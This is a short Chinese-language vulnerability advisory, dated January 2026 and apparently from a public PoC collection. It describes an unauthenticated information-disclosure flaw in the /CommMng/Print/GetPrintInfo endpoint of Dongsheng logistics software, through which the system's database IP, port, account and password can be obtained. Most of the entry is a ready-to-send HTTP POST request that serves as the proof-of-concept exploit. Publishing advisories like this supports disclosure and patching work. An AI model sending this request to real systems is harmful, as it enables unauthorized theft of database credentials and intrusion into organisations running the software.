东胜物流软件 /CommMng/Print/GetPrintInfo 信息泄露漏洞

2026-01-16 东胜物流软件 PoC Public

Description

东胜物流软件系统中，/CommMng/Print/GetPrintInfo 接口存在信息泄露漏洞，该接口缺乏有效的身份认证和权限校验，攻击者可在未经授权的情况下直接访问该接口并获取系统数据库配置信息，包括数据库 IP 地址、端口、账号及密码等敏感数据，从而导致严重的信息泄露风险。

PoC

POST /CommMng/Print/GetPrintInfo HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

type=test&sql1=&sql2=&sql3=&sql4=&sql5=&sql6=

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates#Dongsheng logistics software /CommMng/Print/GetPrintInfo Information Disclosure Vulnerability

References

Related Vulnerabilities